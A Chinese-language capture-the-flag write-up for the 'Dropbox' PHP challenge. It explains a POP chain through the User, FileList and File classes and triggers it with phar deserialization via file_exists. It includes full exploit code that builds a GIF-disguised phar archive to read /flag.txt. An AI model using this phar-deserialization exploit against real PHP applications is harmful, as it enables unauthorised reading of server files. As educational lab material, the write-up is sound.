[华北赛区]Dropbox
注册登录,有个网盘管理功能,直接在POST区域提交文件名,于是利用文件名读取网站文件。
重点在class.php,定义了三个类User、FileList、File,User与数据库交互,FileList和File用来显示和下载文件。
其中这里有个__call方法:
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
在不存在方法时被调用,这里似乎提供了构造POP链进行反序列化的思路,看一下是否有什么读取文件的利用点。
public function close() {
return file_get_contents($this->filename);
}
File类中存在close()方法,可以返回读取文件的内容。巧合的是在User类中有调用同名方法,在__destruct()中关闭数据库连接:
public function __destruct() {
$this->db->close();
}
整个链构造比较简单,在User类中触发__destruct(),调用FileList的close()方法,由于FileList不存在close()方法,进而调用FileList的__call()方法,调用FileList类中$files中的方法$file->close(),进而触发读取文件file_get_contents()。
剩下的就是找到反序列化点,这里没有任何能直接传入反序列化字符串的点,但是有文件上传功能,于是考虑phar反序列化。在delete.php(download.php中也有)
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
在调用open函数时,调用了file_exists,该函数可以触发phar伪协议进行反序列化,尽管没有进入if语句,但是仍然是触发了。
exp(写的比较乱) :
<?php
class User
{
public $db;
public function __construct($db)
{
$this->db = $db;
}
public function __destruct()
{
$this->db->close();
}
}
class FileList
{
private $files;
private $results;
private $funcs;
public function __construct($files)
{
$this->files = array($files);
$this->results = array();
$this->funcs = array();
}
public function __call($func, $args)
{
array_push($this->funcs, $func); // $this->funcs = array('close')
foreach ($this->files as $file) { // $this->file = ($file)
$this->results[$file->name()][$func] = $file->$func(); // $file->close()
}
}
}
class File
{
public $filename;
public function __construct($filename)
{
$this->filename = $filename;
}
public function name()
{
return basename($this->filename);
}
public function close()
{
return file_get_contents($this->filename);
}
}
$file = new File('/flag.txt');
$list = new FileList($file);
$user = new User($list);
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt', 'test'); //添加要压缩的文件
$phar->setMetadata($user); //将自定义meta-data存入manifest
$phar->stopBuffering();
Last modified 8mo ago